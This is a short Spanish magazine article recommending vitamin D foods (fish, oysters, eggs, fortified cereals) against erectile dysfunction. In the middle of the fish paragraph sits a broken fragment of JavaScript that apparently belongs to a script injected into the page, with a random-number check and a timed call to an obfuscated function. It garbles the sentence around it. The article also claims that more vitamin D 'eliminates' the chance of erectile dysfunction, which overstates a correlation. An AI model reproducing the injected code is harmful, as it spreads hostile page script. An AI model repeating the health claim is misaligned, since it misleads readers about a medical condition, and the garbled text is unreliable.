Vitamina D es la mejor amiga del hombre
¿Disfunción eréctil? Aumenta tu consumo de vitamina D.
Autor: Redacción Maxim 9 marzo, 2018
FOTO: GettyImages
Agrega estos alimentos a tu dieta y aumentarás la vitamina D y la mejor noticia de todas eliminarás las probabilidades de disfunción eréctil, ya que un nivel bajo de esta vitamina está relacionada con esta condición.
La vitamina D es esencial para el correcto funcionamiento de nuestro cuerpo.
PESCADO
El pescado es de las mejores fuentes de esta vitamina, sobretodo cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando se consume crudo.
Si decides comer enlatados elige los que están en aceite, ya que conserva mejor la vitamina D.
Opta por salmón, atún en aceite, sardinas y arenque.
OSTRAS
Son una excelente fuente de vitamina D, vitamina B12, hierro, zinc, potasio, sodio, vitamina C, proteína entre otros. También son buena fuente de antioxidantes y omega 3.
Las ostras tienen numerosos beneficios para tu salud, reducen la presión sanguínea, mejoran la salud del corazón, estimulan el sistema inmune y favorecen una rápida curación de las heridas.
HUEVOS
Este alimento es básico en la alimentación además de ser rico en vitamina D, aporta vitamina B12 y es una buena fuente de proteína.
CEREALES FORTIFICADOS
Puedes combinarlos con lácteos o yogurt para agregar vitamina D a tu dieta.
¿Disfunción eréctil? Aumenta tu consumo de vitamina D.